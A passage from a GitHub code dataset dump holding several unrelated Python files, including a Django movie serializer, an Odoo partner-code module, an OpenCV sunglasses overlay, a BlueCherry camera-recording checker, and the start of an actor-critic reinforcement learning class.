serializers.StringRelatedField(many=True)\n user_rate = serializers.SerializerMethodField()\n\n class Meta:\n model = Movie\n fields = (\n 'id',\n 'title',\n 'original_title',\n 'v_picture',\n 'h_picture',\n 'premiere_date',\n 'rating',\n 'duration_minutes',\n 'age_limit',\n 'genres',\n 'actors',\n 'directors',\n 'countries',\n 'categories',\n 'description',\n 'is_favorite',\n 'is_need_see',\n 'trailer_link',\n 'user_rate',\n )\n\n @swagger_serializer_method(serializer_or_field=serializers.FloatField)\n def get_user_rate(self, obj):\n user = self.context['request'].user\n if user.is_anonymous or not obj.ratings.filter(user=user).exists():\n return 0\n return obj.ratings.get(user=user).rate\n\n\nclass MovieRateSerializer(serializers.ModelSerializer):\n rate = serializers.IntegerField(\n min_value=MIN_RATE,\n max_value=MAX_RATE,\n )\n\n class Meta:\n model = RatingMovie\n fields = ('rate',)\n\n\nclass MoviesOfDaySerializer(\n RateInMovieMixin,\n IsFavoriteMixin,\n serializers.ModelSerializer,\n):\n short_description = serializers.SerializerMethodField()\n\n class Meta:\n model = Movie\n fields = (\n 'id',\n 'title',\n 'short_description',\n 'h_picture',\n 'rating',\n 'is_favorite',\n )\n\n @swagger_serializer_method(serializer_or_field=serializers.CharField)\n def get_short_description(self, obj):\n pos = obj.description.find(' ', SHORT_DESCRIPT_LEN)\n return obj.description if pos == -1 else obj.description[:pos]\n","repo_name":"sntchweb/movie-recommendations","sub_path":"backend/morec/api/serializers/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21802614543","text":"import json\nimport os\nimport cfgparse # used to edit ini in place without modifying things like comments\n\npermissions_ini_location = 'permissions.ini' # permissions.ini location for music bot\njson_id_list_location = 'role_ids.json' # role ids json, where Role Label/ID pair Json is located\n\nconfig = cfgparse.ConfigParser() # add parser\nconfig_file = config.add_file(permissions_ini_location) # add ini file\n\n\ndef main():\n with open(json_id_list_location) as json_binds_list:\n binds_json = json.load(json_binds_list)\n\n for key in binds_json:\n write_ids(print_ids(get_role_ids(key), key), key)\n return\n\n\ndef get_role_ids(role_name):\n with open(json_id_list_location) as json_binds_list:\n binds_json = json.load(json_binds_list)\n\n role_ids = []\n\n print(\"\\nJson File: {}\".format(os.path.realpath(json_id_list_location)))\n\n print(\"\\n{} Role\".format(role_name))\n print(\"Label : Role ID\\n\")\n\n role_id_table = binds_json[role_name]\n for key in role_id_table:\n value = role_id_table[key]\n print(key + \" : \" + value)\n role_ids.append(value)\n\n role_ids = \" \".join(role_ids)\n\n return role_ids # returns just our IDs, separated by space\n\n\ndef print_ids(role_ids, role_name):\n print(\"\\nFile: '{}'\".format(os.path.realpath(permissions_ini_location)))\n print(\"Existing role IDs\")\n\n grant_to_role_setting = config.add_option(\"GrantToRoles\", keys=role_name)\n print(grant_to_role_setting.get())\n\n print(\"\\nRole IDs to add to group {}: {}\".format(role_name, role_ids))\n\n return role_ids # returns entire file with edited line, as well as index of current line number\n\n\ndef write_ids(ids_to_write, role_name):\n grant_to_role_setting = config.add_option(\"GrantToRoles\", keys=role_name)\n grant_to_role_setting.set(ids_to_write) # set key value\n config_file.write(permissions_ini_location) # write to ini file\n\n print(\"Changes written successfully to '{}'\".format(os.path.realpath(permissions_ini_location)))\n","repo_name":"Bay40k/MusicBotJsonConfig","sub_path":"update_group_role_ids.py","file_name":"update_group_role_ids.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17830934453","text":"#!/usr/bin/python\nimport json\nimport sys\nimport logging\nimport time\n\n# native variant (needs native yajl lib installation)\nimport ijson.backends.yajl2_cffi as ijson\n# pure python variant (ca. 66% slower overall):\n# import ijson\n\n# for using md5:\n# import hashlib\n# for using MurmurHash:\nimport mmh3\nimport binascii\n\nfrom jsonpath_rw import jsonpath, parse\n# https://pypi.python.org/pypi/jsonpath-rw\n\n# TODO dockerize the JSON variant (needs native libs)\n\nstartTime = time.time()\nif len(sys.argv) <= 2:\n print('new json file name and ID jsonpath parameters are mandatory')\n exit()\n\nfullfile_name = sys.argv[1]\nentriesProperty = sys.argv[2]\nidJsonPath = sys.argv[3]\nidJsonParser = parse(idJsonPath)\n\ndeltafile_name = fullfile_name + '.changes.json'\nfingerprintsfile_new_name = fullfile_name + '.fingerprints.json'\nfingerprintsfile_old_name = \"\"\nif len(sys.argv) > 4:\n fingerprintsfile_old_name = sys.argv[4]\n if fingerprintsfile_new_name == fingerprintsfile_old_name:\n print(\n 'ERROR: last fingerprints file name must differ from new name ' + fingerprintsfile_new_name)\n exit()\n\nwith open(\n fullfile_name, 'rb') as fullfile_new, open(\n deltafile_name, 'wb') as deltafile, open(\n fingerprintsfile_new_name , 'w') as fingerprintsfile_new:\n if fingerprintsfile_old_name:\n try:\n fingerprintsfile_old = open(fingerprintsfile_old_name, 'r')\n fingerprints_old = json.load(fingerprintsfile_old)\n except IOError:\n print('ERROR: could not open file ' + fingerprintsfile_old_name)\n exit()\n else:\n print('INFO: no old fingerprints file name passed, starting from scratch')\n fingerprints_old = dict()\n\n fingerprints_new = dict()\n idSet = set() # to check uniqueness. Faster than using a list or dict.\n objCount = 0\n deltacount = 0\n duplicateIds = list()\n\n jsonObjects = ijson.items(fullfile_new, entriesProperty + '.item')\n\n deltafile.write('{\"' + entriesProperty + '\":[\\n')\n\n objects = (o for o in jsonObjects)\n for obj in objects:\n objCount += 1\n\n try:\n # uses first match of the jsonPath as ID\n objId = str(idJsonParser.find(obj)[0].value)\n except:\n logging.exception(\"message\")\n print(str(obj))\n exit()\n\n if objId in idSet: # ignore and remember duplicate ids\n duplicateIds.append(objId)\n else:\n idSet.add(objId)\n objJsonString = json.dumps(obj)\n\n # mmh3 on test file: 57 secs\n # md5 on test file: 58 secs\n # -> no difference -> choose mmh3 for collision avoidance, md5 for portability\n # objDigest = hashlib.md5(objJsonString).hexdigest()\n objDigest = binascii.hexlify(mmh3.hash_bytes(objJsonString))\n\n fingerprints_new[objId] = objDigest\n # if the obj is new or the obj has changed, write delta.\n # (removes items from old fingerprints to find implicit deletions)\n if (objId not in fingerprints_old) or (fingerprints_old.pop(objId) != objDigest):\n if deltacount > 0: deltafile.write('\\n,')\n deltacount += 1\n deltafile.write(objJsonString)\n\n deltafile.write('\\n]}')\n\n print('DONE: processed ' + '{:,}'.format(objCount) + ' JSON objects, ' + '{:,}'.format(\n len(idSet)) + ' unique IDs, found ' + '{:,}'.format(deltacount) + ' changed and ' + '{:,}'.format(\n len(fingerprints_old)) + ' removed entries.')\n\n # log duplicate ids\n if len(duplicateIds) > 0:\n print('WARN: ' + '{:,}'.format(\n len(duplicateIds)) + ' duplicate IDs found. Used only first occurrences, writing to file')\n with open(fullfile_name + '.duplicateIds.json', 'w') as duplicateIds_file:\n json.dump(duplicateIds, duplicateIds_file, indent=2)\n\n # write deleted fingerprints if some remained:\n if len(fingerprints_old) > 0:\n print('INFO: some entries have disappeared since the last file. Writing IDs to file')\n with open(fullfile_name + '.removedIds.json', 'w') as removedIds_file:\n json.dump(fingerprints_old, removedIds_file, indent=2)\n\n # persist new fingerprints and deltafile:\n deltafile.flush()\n print('wrote delta file')\n json.dump(fingerprints_new, fingerprintsfile_new)\n print('wrote new fingerprints file')\n print('duration: ' + str(time.time() - startTime) + ' seconds')","repo_name":"nkuehn/deltafeed","sub_path":"deltajson.py","file_name":"deltajson.py","file_ext":"py","file_size_in_byte":4478,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"34434797952","text":"# Lakeisha Larry\n# November 14, 2021\n\n# Program 1 returns the area of a circle\n\ndef findArea(r):\n pi = 3.142\n return pi * (r*r)\n\n\nnum = float(input(\"Enter the radius:\"))\nprint(\"Area is %.6f\" % findArea(num))\n","repo_name":"larrylakeisha/Module-7-Lab-Activity","sub_path":"Return Radius.py","file_name":"Return Radius.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"33223571752","text":"from openerp.osv import fields, osv, orm\nfrom openerp.tools.translate import _\nfrom openerp.addons.base.res import res_partner as res_partner_base\n\nclass res_partner(osv.Model):\n _inherit = 'res.partner'\n _columns = {\n 'code': fields.char('Code', size=16),\n }\n #update res_partner set code = trim(to_char(id,'00009'))\n _defaults = {\n 'code': '/',\n } \n def _check_write_vals(self,cr,uid,vals,ids=None,context=None):\n if vals.get('code') and vals['code']:\n vals['code'] = vals['code'].strip()\n if ids:\n partner_id = self.search(cr, uid, [('code', '=', vals['code']),('id','not in',ids)])\n else:\n partner_id = self.search(cr, uid, [('code', '=', vals['code'])])\n if partner_id:\n raise osv.except_osv(_('Error!'), _('Partner code must be unique!'))\n return True \n def create(self, cr, uid, vals, context=None):\n if context is None:\n context = {}\n if vals.get('code','/')=='/':\n vals['code'] = self.pool.get('ir.sequence').get(cr, uid, 'partner') or '/'\n self._check_write_vals(cr,uid,vals,context=context)\n new_id = super(res_partner, self).create(cr, uid, vals, context)\n return new_id\n \n def write(self, cr, uid, ids, vals, context=None):\n if context is None:\n context = {}\n self._check_write_vals(cr,uid,vals,ids=ids,context=context)\n resu = super(res_partner, self).write(cr, uid, ids, vals, context=context)\n return resu\n \n def name_get(self, cr, uid, ids, context=None):\n if context is None:\n context = {}\n if isinstance(ids, (int, long)):\n ids = [ids]\n res = []\n for record in self.browse(cr, uid, ids, context=context):\n name = record.name\n if record.parent_id and not record.is_company:\n name = \"%s, %s\" % (record.parent_name, name)\n if context.get('show_address'):\n name = name + \"\\n\" + self._display_address(cr, uid, record, without_company=True, context=context)\n name = name.replace('\\n\\n','\\n')\n name = name.replace('\\n\\n','\\n')\n if context.get('show_email') and record.email:\n name = \"%s <%s>\" % (name, record.email)\n if record.code:\n name = \"[%s]%s\" % (record.code, name)\n res.append((record.id, name))\n return res\n\n def name_search(self, cr, uid, name, args=None, operator='ilike', context=None, limit=100):\n if not args:\n args = []\n if name and operator in ('=', 'ilike', '=ilike', 'like', '=like'):\n self.check_access_rights(cr, uid, 'read')\n where_query = self._where_calc(cr, uid, args, context=context)\n self._apply_ir_rules(cr, uid, where_query, 'read', context=context)\n from_clause, where_clause, where_clause_params = where_query.get_sql()\n where_str = where_clause and (\" WHERE %s AND \" % where_clause) or ' WHERE '\n\n # search on the name of the contacts and of its company\n search_name = name\n if operator in ('ilike', 'like'):\n search_name = '%%%s%%' % name\n if operator in ('=ilike', '=like'):\n operator = operator[1:]\n\n #unaccent = get_unaccent_wrapper(cr)\n unaccent = res_partner_base.get_unaccent_wrapper(cr)\n\n # TODO: simplify this in trunk with `display_name`, once it is stored\n # Perf note: a CTE expression (WITH ...) seems to have an even higher cost\n # than this query with duplicated CASE expressions. The bulk of\n # the cost is the ORDER BY, and it is inevitable if we want\n # relevant results for the next step, otherwise we'd return\n # a random selection of `limit` results.\n\n display_name = \"\"\"CASE WHEN company.id IS NULL OR res_partner.is_company\n THEN {partner_name}\n ELSE {company_name} || ', ' || {partner_name}\n END\"\"\".format(partner_name=unaccent('res_partner.name'),\n company_name=unaccent('company.name'))\n '''\n query = \"\"\"SELECT res_partner.id\n FROM res_partner\n LEFT JOIN res_partner company\n ON res_partner.parent_id = company.id\n {where} ({email} {operator} {percent}\n OR {display_name} {operator} {percent})\n ORDER BY {display_name}\n \"\"\".format(where=where_str, operator=operator,\n email=unaccent('res_partner.email'),\n percent=unaccent('%s'),\n display_name=display_name)\n '''\n #johnw, 01/27/2015, add new column 'code'/'name' searching\n query = \"\"\"SELECT res_partner.id\n FROM res_partner\n LEFT JOIN res_partner company\n ON res_partner.parent_id = company.id\n {where} ({email} {operator} {percent}\n OR {display_name} {operator} {percent}\n OR {code} {operator} {percent}\n OR {name} {operator} {percent})\n ORDER BY {display_name}\n \"\"\".format(where=where_str, operator=operator,\n email=unaccent('res_partner.email'),\n percent=unaccent('%s'),\n display_name=display_name,\n code=unaccent('res_partner.code'),\n name=unaccent('res_partner.name'))\n\n where_clause_params += [search_name, search_name, search_name, search_name]\n if limit:\n query += ' limit %s'\n where_clause_params.append(limit)\n cr.execute(query, where_clause_params)\n ids = map(lambda x: x[0], cr.fetchall())\n\n if ids:\n return self.name_get(cr, uid, ids, context)\n else:\n return []\n return super(res_partner,self).name_search(cr, uid, name, args, operator=operator, context=context, limit=limit)\n \nres_partner()\n\nclass res_partner_name(osv.Model):\n _inherit = 'res.partner'\n _order = 'display_name'\n\n def _display_name_compute(self, cr, uid, ids, name, args, context=None):\n context = dict(context or {})\n context.pop('show_address', None)\n return dict(self.name_get(cr, uid, ids, context=context))\n\n _display_name_store_triggers = {\n 'res.partner': (lambda self,cr,uid,ids,context=None: self.search(cr, uid, [('id','child_of',ids)], context=dict(active_test=False)),\n ['parent_id', 'is_company', 'name', 'code'], 10)\n }\n\n # indirection to avoid passing a copy of the overridable method when declaring the function field\n _display_name = lambda self, *args, **kwargs: self._display_name_compute(*args, **kwargs)\n\n _columns = {\n # extra field to allow ORDER BY to match visible names\n 'display_name': fields.function(_display_name, type='char', string='Name', store=_display_name_store_triggers, select=1),\n }","repo_name":"newmooncn/dm","sub_path":"dmp_partner_code/partner.py","file_name":"partner.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39477533918","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 29 16:14:13 2017\n\n@author: kading\n\"\"\"\n\n\nimport cv2 # OpenCV Library\n \n#-----------------------------------------------------------------------------\n# Load and configure Haar Cascade Classifiers\n#-----------------------------------------------------------------------------\n \n# location of OpenCV Haar Cascade Classifiers:\n#baseCascadePath = \"C:\\Users\\kading\\Downloads\\data\\haarcascades\"\n\n# xml files describing our haar cascade classifiers\nfaceCascadeFilePath = \"haarcascade_frontalface_default.xml\"\neyeCascadeFilePath = \"haarcascade_eye_tree_eyeglasses.xml\"\n\n# build our cv2 Cascade Classifiers\nfaceCascade = cv2.CascadeClassifier(faceCascadeFilePath)\neyeCascade = cv2.CascadeClassifier(eyeCascadeFilePath)\n \n#-----------------------------------------------------------------------------\n# Load and configure mustache (.png with alpha transparency)\n#-----------------------------------------------------------------------------\n \n# Load our overlay image: mustache.png\nimgSunglass = cv2.imread('sunglass1.png',-1)\n \n# Create the mask for the mustache\norig_mask = imgSunglass[:,:,3]\n \n# Create the inverted mask for the mustache\norig_mask_inv = cv2.bitwise_not(orig_mask)\n \n# Convert mustache image to BGR\n# and save the original image size (used later when re-sizing the image)\nimgSunglass = imgSunglass[:,:,0:3]\norigSunglassHeight, origSunglassWidth = imgSunglass.shape[:2]\n\nvideo_capture = cv2.VideoCapture(0) \nwhile True:\n # Capture video feed\n ret, frame = video_capture.read()\n \n # Create greyscale image from the video feed\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n \n # Detect faces in input video stream\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.cv.CV_HAAR_SCALE_IMAGE\n )\n \n # Iterate over each face found\n for (x, y, w, h) in faces:\n # Un-comment the next line for debug (draw box around all faces)\n # face = cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2)\n\n roi_gray = gray[y:y+h, x:x+w]\n roi_color = frame[y:y+h, x:x+w]\n \n # Detect eyes within the region bounded by each face (the ROI)\n eye = eyeCascade.detectMultiScale(roi_gray)\n if len(eye) == 2:\n [x1,y1,w1,h1] = eye[0]\n [x2,y2,w2,h2] = eye[1]\n nx = (x1+x2)/2\n ny = (y1+y2)/2\n nw = (w1+w2)/2\n nh = (h1+h2)/2\n # cv2.rectangle(roi_color,(nx,ny),(nx+nw,ny+nh),(255,0,0),2)\n SunglassWidth = 3 * nw\n SunglassHeight = SunglassWidth * origSunglassHeight / origSunglassWidth\n # Center the mustache on the center bottom of eyes\n sgx1 = nx - (SunglassWidth)\n sgx2 = nx + nw + (SunglassWidth)\n sgy1 = ny - (SunglassHeight/4)\n sgy2 = ny + nh + (SunglassHeight/4)\n # Check for clipping\n if sgx1 < 0:\n sgx1 = 0\n if sgy1 < 0:\n sgy1 = 0\n if sgx2 > w:\n sgx2 = w\n if sgy2 > h:\n sgy2 = h\n # Re-calculate the width and height of the sunglass image\n SunglassWidth = sgx2 - sgx1\n SunglassHeight = sgy2 - sgy1\n # Re-size the original image and the masks to the mustache sizes\n # calcualted above\n Sunglass = cv2.resize(imgSunglass, (SunglassWidth,SunglassHeight), interpolation = cv2.INTER_AREA)\n mask = cv2.resize(orig_mask, (SunglassWidth,SunglassHeight), interpolation = cv2.INTER_AREA)\n mask_inv = cv2.resize(orig_mask_inv, (SunglassWidth,SunglassHeight), interpolation = cv2.INTER_AREA)\n # take ROI for mustache from background equal to size of mustache image\n roi = roi_color[sgy1:sgy2, sgx1:sgx2]\n # roi_bg contains the original image only where the mustache is not\n # in the region that is the size of the mustache.\n roi_bg = cv2.bitwise_and(roi,roi,mask = mask_inv)\n # roi_fg contains the image of the mustache only where the mustache is\n roi_fg = cv2.bitwise_and(Sunglass,Sunglass,mask = mask)\n # join the roi_bg and roi_fg\n dst = cv2.add(roi_bg,roi_fg)\n # place the joined image, saved to dst back over the original image\n roi_color[sgy1:sgy2, sgx1:sgx2] = dst\n \n # Display the resulting frame\n cv2.imshow('Video', frame)\n # press any key to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n # Display the resulting frame\n cv2.imshow('Video', frame)\n # press any key to exit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"KaiyanD/Face_Recognition","sub_path":"Face_Recognition_Windows/Add_Paparazi/sunglass.py","file_name":"sunglass.py","file_ext":"py","file_size_in_byte":4847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41366094149","text":"from time import sleep\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n\ndef get_element(driver, *loc):\n e = driver.find_element(*loc)\n return e\n\n\nif __name__ == '__main__':\n driver = webdriver.Chrome()\n driver.get('http://www.baidu.com')\n\n loc = (By.ID, 'su')\n\n get_element(driver, By.ID, 'kw').send_keys('极客时间')\n get_element(driver, *loc).click()\n sleep(3)\n driver.quit()\n","repo_name":"Masonnn/ApiTest","sub_path":"UITest/selenium/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22778982320","text":"#!/usr/bin/python3\nimport os\nfrom pathlib import Path\nfrom datetime import datetime\nimport time\nimport cv2\nimport numpy\nimport pymysql.cursors\nfrom loguru import logger\nfrom dotenv import load_dotenv\n\n\ndef main():\n logging()\n\n load_dotenv('.env')\n CHERRY_USER_DB = os.getenv('CHERRY_USER_DB')\n CHERRY_PASSWORD_DB = os.getenv('CHERRY_PASSWORD_DB')\n CHERRY_USER = os.getenv('CHERRY_USER')\n CHERRY_PASSWORD = os.getenv('CHERRY_PASSWORD')\n CHERRY_IP = os.getenv('CHERRY_IP')\n stream_template = f'https://{CHERRY_USER}:{CHERRY_PASSWORD}@{CHERRY_IP}\\\n :7001/media/mjpeg?multipart=true&id='\n exceptions = [\n f'https://{CHERRY_USER}:{CHERRY_PASSWORD}@{CHERRY_IP}\\\n :7001/media/mjpeg?multipart=true&id=000049',\n ]\n\n now = datetime.now()\n year_folder = now.strftime(\"%Y\")\n month_folder = now.strftime(\"%m\")\n day_folder = now.strftime(\"%d\")\n day_of_week_today = now.strftime(\"%A\")\n hour_now = now.strftime(\"%H\")\n date_now = now.strftime(\"%d-%m-%Y_%H-%M\")\n hour_of_week_now = get_hour_of_week(day_of_week_today)\n\n connection = pymysql.connect(\n host='localhost',\n user=CHERRY_USER_DB,\n password=CHERRY_PASSWORD_DB,\n db='bluecherry'\n )\n\n for id_, cam_name, cam_schedule_override_global, cam_sched in cherry_cams(connection):\n cams_rec_path = f\"/mnt/video/{year_folder}/{month_folder}/{day_folder}/{id_}\"\n check_analyzed_frame_path(cams_rec_path)\n if recording_mode_continuous(hour_of_week_now, connection, cam_schedule_override_global, cam_sched) is True:\n if cam_rec_directory_check(cams_rec_path, cam_name) is True:\n if cam_rec_size_check(cams_rec_path, cam_name) is True:\n cam_stream = stream_template + id_\n if cam_stream in exceptions:\n logger.info(\"Camera (\"+cam_name+\") added to exception\")\n capture = cv2.VideoCapture(cam_stream)\n ret, frame = capture.read()\n analyzed_frame_path = f\"{cams_rec_path}_frames/frame_{cam_name}_{date_now}.jpg\"\n cv2.imwrite(analyzed_frame_path, frame)\n analyzed_frame = cv2.imread(analyzed_frame_path)\n color_definition(analyzed_frame, cam_name)\n sharpness_rating(frame, cam_name)\n return None\n\n\ndef logging():\n \"\"\"Adding logging.\n\n \"\"\"\n log_path = '/var/log/bluecherry_cams/'\n if os.path.exists(\"log_path\") is False:\n Path(log_path).mkdir(parents=True, exist_ok=True)\n logger.remove()\n logger.add(log_path+'cams_check.log',\n format=\"{time:MMM DD HH:mm:ss} {message}\",\n rotation=\"500 MB\",\n compression=\"gz\")\n logger.info(\"The script is running.\")\n return None\n\n\ndef check_analyzed_frame_path(cams_rec_path):\n \"\"\"Сreating a directory for analyzed frames if it does not exist\n in the videotapes directory.\n\n \"\"\"\n if os.path.exists(f\"{cams_rec_path}_frames/\") is False:\n Path(cams_rec_path).mkdir(parents=True, exist_ok=True)\n return None\n\n\ndef cherry_cams(connection):\n \"\"\"Get all cameras from the BlueCherry database for analysis.\n Since recordings from cameras in the title use a camera id with 6 characters,\n then when forming the list of camera ids, add zeros up to 6 characters.\n \n \"\"\"\n cams_id = []\n cams_names = []\n scheds_over_glob = []\n schedulers = []\n with connection.cursor() as cursor:\n cursor.execute(\n 'SELECT \\\n id, \\\n device_name, \\\n schedule_override_global, \\\n schedule \\\n FROM Devices;'\n )\n\n for row in cursor:\n cams_id.append(str(row[0]).rjust(6, '0'))\n cams_names.append(str(row[1]))\n scheds_over_glob.append(str(row[2]))\n schedulers.append(str(row[3]))\n logger.info(\"Database connection has been established. Camera info received.\")\n cams = zip(cams_id, cams_names, scheds_over_glob, schedulers)\n return cams\n\n\ndef get_hour_of_week(day_of_week_today):\n \"\"\"BlueCherry uses a table that indicates at what time\n and in what mode the camera will record.\n The time in this table is the hour of the week.\n Countdown starts from Sunday.\n\n \"\"\"\n hour_of_week_now = {\n 'Sunday':hour_now,\n 'Monday':24 + int(hour_now),\n 'Tuesday':48 + int(hour_now),\n 'Wednesday':72 + int(hour_now),\n 'Thursday':96 + int(hour_now),\n 'Friday':120 + int(hour_now),\n 'Saturday':148 + int(hour_now)\n }[day_of_week_today]\n return hour_of_week_now\n\n\ndef recording_mode_continuous(connection, hour_of_week_now, cam_schedule_override_global, cam_sched):\n \"\"\"Define the recording mode of the camera.\n If the mode !=\"Continuous\", the camera recording on motion\n and does not need to be checked.\n\n \"\"\"\n global_sсheduler = []\n with connection.cursor() as cursor:\n cursor.execute(\n 'SELECT value \\\n FROM GlobalSettings \\\n WHERE parameter = \"G_DEV_SCED\";'\n )\n\n for row in cursor:\n global_sсheduler.append(str(row[0]))\n logger.info('Database connection has been established. \\\n Global sheduler info received.')\n\n recording_mode = ''\n hour_of_week_now = get_hour_of_week(day_of_week_today)\n if cam_schedule_override_global == '0':\n recording_mode = str(global_sсheduler[0][hour_of_week_now])\n recording_mode = str(cam_sched[hour_of_week_now])\n logger.info('Recording mode was detecteed: '+recording_mode)\n if recording_mode == 'C':\n return True\n return False\n\n\ndef cam_rec_directory_check(cams_rec_path, cam_name):\n \"\"\"BlueCherry creates a new directory for camera recordings every day at 00:00.\n If the directory is not created, then the camera has stopped recording.\n\n \"\"\"\n if os.path.exists(cams_rec_path) is False:\n logger.error(\"Camera (\"+cam_name+\") does not record! \\\n (\"+cams_rec_path+\") directory is missing.\")\n return False\n logger.info(\"Camera (\"+cam_name+\") The directory (\"+cams_rec_path+\") exists.\")\n return True\n\n\ndef cam_rec_size_check(cams_rec_path, cam_name):\n \"\"\"Checking the size of the directory with camera records at 2 second intervals.\n If the size does not change, then the camrea does not recording.\n\n \"\"\"\n check_size_folder_cam = os.popen(f\"du -sb {cams_rec_path}\").read()\n time.sleep(2)\n check_size_folder_cam_new = os.popen(f\"du -sb {cams_rec_path}\").read()\n if check_size_folder_cam == check_size_folder_cam_new:\n logger.error(\"Camera (\"+cam_name+\") does not record! Directory size \\\n (\"+cams_rec_path+\") hasn't changed after 2 seconds.\")\n return False\n logger.info(\"Camera (\"+cam_name+\") is recording. \\\n The directory size increases (\"+cams_rec_path+\").\")\n return True\n\n\ndef color_definition(analyzed_frame, cam_name):\n \"\"\"Find the average value of the RGB color.\n If values < 10, then the camera records a black image.\n If values < 200, then the camera records a blown out image.\n\n \"\"\"\n per_row = numpy.average(analyzed_frame, axis=0)\n color_rgb = numpy.average(per_row, axis=0)\n if color_rgb[0] < 10 and color_rgb[1] < 10 and color_rgb[2] < 10:\n logger.error(\"Camera (\"+cam_name+\") black image recording! \"+str(color_rgb))\n elif color_rgb[0] > 200 and color_rgb[1] > 200 and color_rgb[2] > 200:\n logger.error(\"Camera (\"+cam_name+\") white image recording! \"+str(color_rgb))\n return None\n\n\ndef sharpness_rating(frame, cam_name):\n \"\"\"Definition of sharpness.\n\n \"\"\"\n img = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n lap = cv2.Laplacian(img, cv2.CV_16S)\n mean, stddev = cv2.meanStdDev(lap)\n sharpness_tolerance = 15\n if stddev[0,0] < sharpness_tolerance:\n logger.error(\"Camera (\"+cam_name+\") \\\n blurry image recording! Sharoness: \"+str(stddev[0,0]))\n logger.info(\"Camera (\"+cam_name+\") \\\n normal image recording! Sharoness: \"+str(stddev[0,0]))\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"42afedorov42/camera-check","sub_path":"camera-check.py","file_name":"camera-check.py","file_ext":"py","file_size_in_byte":8248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"28490554407","text":"import wget\nimport tarfile\n\nparts = [3, 7, 4, 1, 6]\n\nfor p in parts:\n filename = f\"part_{p}.tar.gz\"\n WL2M_url = f\"http://vision.eecs.qmul.ac.uk/datasets/WebLogo-2M/{filename}\"\n wget.download(WL2M_url, filename)\n\n tar = tarfile.open(filename, \"r:gz\")\n tar.extractall(\"./dataset\")\n tar.close()","repo_name":"marisancans/yolo5_webLogosDs_flickr","sub_path":"ds_downloader.py","file_name":"ds_downloader.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7042910028","text":"# -*- coding: utf-8 -*-\n\nfrom scrapy import optional_features\nfrom scrapy.crawler import CrawlerProcess\n\nfrom spiders.store_feedback import StoreFeedbackSpider\n\noptional_features.remove('boto')\n\nsettings = {'TELNETCONSOLE_ENABLED': False, 'COOKIES_ENABLED': False, 'ITEM_PIPELINES': {\n 'pipelines.DuplicatePipeline': 200,\n 'pipelines.ToRedisPipeline': 300,\n 'pipelines.ToMongoPipeline': 400,\n}, 'LOG_LEVEL': 'INFO', 'prefix': 'test',\n 'base_url': ''}\n\n# first step\nprocess = CrawlerProcess(settings)\n\nprocess.crawl(StoreFeedbackSpider)\n\nprocess.start()\n","repo_name":"yangxue088/aliexpress","sub_path":"main_store_feedback.py","file_name":"main_store_feedback.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"19"} +{"seq_id":"34764444098","text":"import math\r\nimport random\r\nimport pygame\r\nimport Game\r\nimport numpy as np\r\nfrom keras.layers import Dense, Input, concatenate, LeakyReLU\r\nfrom keras import Model, losses\r\nfrom keras.optimizers import Adam\r\nimport tensorflow as tf\r\n\r\nimport matplotlib.pyplot as plt\r\nplt.style.use('seaborn-whitegrid')\r\n\r\n\r\nclass ActorCritic:\r\n def __init__(self):\r\n self.simulation = None\r\n self.d = False\r\n self.level = 0\r\n self.fail = False\r\n\r\n self.current_state = 0\r\n self.next_state = 0\r\n self.current_action = 0\r\n self.last_action = 0\r\n self.next_reward = 0 # Actor Critic variables\r\n self.td_error = 0\r\n self.average_reward = 0\r\n self.epsilon = .999\r\n\r\n self.actor_learning_rate = .0005\r\n self.critic_learning_rate = .001 # Alpha's\r\n self.reward_alpha = 0.001\r\n\r\n self.sess = tf.compat.v1.Session()\r\n # Creates a new Tensorflow session\r\n\r\n self.actor_state, self.actor = self.create_actor()\r\n # Creates the actor model\r\n\r\n self.actor_crit_grad = tf.placeholder(tf.float32, [None, 1])\r\n # Placeholder for the gradient of the reward with respect to the action\r\n\r\n self.actor_weights = self.actor.trainable_weights\r\n # Get actor weights\r\n\r\n self.actor_grad = tf.gradients(ys=self.actor.output, xs=self.actor_weights, grad_ys=-self.actor_crit_grad)\r\n # Get gradient of its output with respect to its weights in relation to how that action impacts the reward given from the critic net.\r\n\r\n grads = zip([(tf.clip_by_norm(grad, 1)) for grad in self.actor_grad], self.actor_weights)\r\n self.optimize = tf.train.AdamOptimizer(self.actor_learning_rate).apply_gradients(grads)\r\n # Apply gradients to actor\r\n\r\n self.critic_state, self.critic_action, self.critic = self.create_critic()\r\n # Creates the critic model\r\n\r\n self.critic_action_grad = tf.gradients(self.critic.output, self.critic_action)\r\n # Gets the gradient of the reward with respect to the action\r\n\r\n self.critic_weights = self.critic.trainable_weights\r\n # 